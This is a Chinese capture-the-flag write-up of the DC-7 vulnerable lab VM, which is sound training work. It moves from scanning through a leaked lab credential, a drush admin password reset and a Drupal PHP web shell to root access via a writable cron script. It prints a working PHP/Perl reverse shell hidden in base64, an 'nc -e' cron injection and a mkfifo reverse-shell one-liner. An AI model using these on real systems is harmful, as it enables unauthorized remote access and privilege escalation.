• DC-7靶场下载及渗透实战详细过程(DC靶场系列)


    目录

    一. 信息收集

    1. 主机扫描

    2. 端口扫描

    3. 目录扫描

    4. 信息探测

    二. 渗透过程

    1. 代码审计

    2. ssh远程登入

    3. drush修改密码

    4. 反弹shell

    5. 提权 

    三. 收获总结

    1. 信息收集

    2. Linux文件权限

    3. 定时任务Cron

    4. linux反弹shell新姿势


    DC-7靶场下载地址https://www.five86.com/downloads/DC-7.zip

    一. 信息收集

    1. 主机扫描

    arp-scan -l

    2. 端口扫描

    3. 目录扫描

    扫了半天也没扫出个有用的

    4. 信息探测

    提示我们跳出思维惯性,换种方法进行渗透,可以发现下面有个@DC7USER

    搜索发现,源码泄露了,而且是官方泄露的

    二. 渗透过程

    1. 代码审计

    废话不多说,先查看github上的源码

    在配置文件里发现了个账号

    dc7user:MdR3xOgB7#dW

    2. ssh远程登入

    测试发现登不进后台,但是能登进ssh

    ssh dc7user@192.168.120.141

    探索过程中发现个文件,这里好像还不能提权

    cat mbox


    发现了个root用户的定时文件backups.sh,接下来看一下文件权限

    ls -la

     -rwxrwxr-x

    root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,这里可以作为提权的一个突破口

    想写入东西反弹root的shell的,但是没有权限(我就知道没那么简单),不管了,先去瞧瞧里面写有啥

    1. cd /opt/scripts
    2. cat *

    发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

    3. drush修改密码

    这个命令需要先切换到drupal的目录

    cd /var/www/html

    通过命令我们发现了个管理员账号admin

    drush user-information admin

    接下来修改admin的密码

    drush upwd admin --password="passwd"

    接着我们登入管理员后台/user/login

    登入成功

    4. 反弹shell

    进入了后台,想办法写个马进行反弹shell

    找到了编辑文件的地方,但是没有PHP解释器,但是在扩展里可以安装

    PHP解释器Drupal官方连接

    https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

    填入连接后点击安装

    文件下载完成,接着启动PHP编辑器

    安装完成后在内容编辑的地方出现了PHP code

    ,接着我们添加php代码

     

    写入PHP反弹shell 

    1. function which($pr) {
    2. $path = execute("which $pr");
    3. return ($path ? $path : $pr);
    4. }
    5. function execute($cfe) {
    6. $res = '';
    7. if ($cfe) {
    8. if(function_exists('exec')) {
    9. @exec($cfe,$res);
    10. $res = join("\n",$res);
    11. }
    12. elseif(function_exists('shell_exec')) {
    13. $res = @shell_exec($cfe);
    14. } elseif(function_exists('system')) {
    15. @ob_start();
    16. @system($cfe);
    17. $res = @ob_get_contents();
    18. @ob_end_clean();
    19. } elseif(function_exists('passthru')) {
    20. @ob_start();
    21. @passthru($cfe);
    22. $res = @ob_get_contents();
    23. @ob_end_clean();
    24. } elseif(@is_resource($f = @popen($cfe,"r"))) {
    25. $res = '';
    26. while(!@feof($f)) {
    27. $res .= @fread($f,1024);
    28. }
    29. @pclose($f);
    30. }
    31. }
    32. return $res;
    33. }
    34. function cf($fname,$text){
    35. if($fp=@fopen($fname,'w')) {
    36. @fputs($fp,@base64_decode($text));
    37. @fclose($fp);
    38. }
    39. }
    40. $yourip = "your IP"; #监听ip
    41. $yourport = 'your port'; #监听端口
    42. $usedb = array('perl'=>'perl','c'=>'c');
    43. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    44. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    45. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    46. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    47. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    48. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    49. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    50. cf('/tmp/.bc',$back_connect);
    51. $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    52. ?>

    点击保存后会自动执行该PHP代码,先监听端口再保存

    nc -lvp 6666

    反弹shell成功,升级交互shell

    python -c "import pty;pty.spawn('/bin/bash')"

    5. 提权 

    之前的提权方法都没有用,接下来我们利用root的定时任务进行提权

    我们可以写个反弹shell的命令下去

    echo "nc -e /bin/bash 192.168.120.129 5555" >> /opt/scripts/backups.sh

    写入成功,先监听端口

    nc -lvp 5555

    接下来只要等待backups.sh文件定时root权限执行就好了 

    提权成功!

    cat /root/*

    拿到flag

    三. 收获总结

    1. 信息收集

    信息收集很关键,要善于利用搜索引擎,搜索关键词并寻找突破口

    2. Linux文件权限

    参考0777文件权限的解释

    3. 定时任务Cron

    crontab -l    #查看定时任务

    4. linux反弹shell新姿势

    有些操作系统的netcat不支持-e参数,这时候可以利用管道符命令mkfifo配合nc进行反弹shell

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [监听IP] [监听PORT] >/tmp/f
  • 相关阅读:
    【Leetcode每日一题 2530】「贪心|模拟|优先队列」执行K次操作后的最大分数
    【安全利器SELinux快速入门系列】SELINUX配置Proftpd安全FTP服务器权限实操指南
    彩票-股票-外汇-加密货币-概率游戏交易思维训练1
    Paraverse平行云LarkXR:支持SR/VR/AR/MR多种客户端接入的全栈实时云渲染解决方案
    PAT 1050 String Subtraction
    Java 顺序控制、分支控制、循环控制详解
    Vue2项目练手——通用后台管理项目第二节
    Day 05 python学习笔记
    Qt实现抽奖程序
    .NET 8 Release Candidate 1 (RC1)现已发布,包括许多针对ASP.NET Core的重要改进!
  • 原文地址:https://blog.csdn.net/l2872253606/article/details/126062412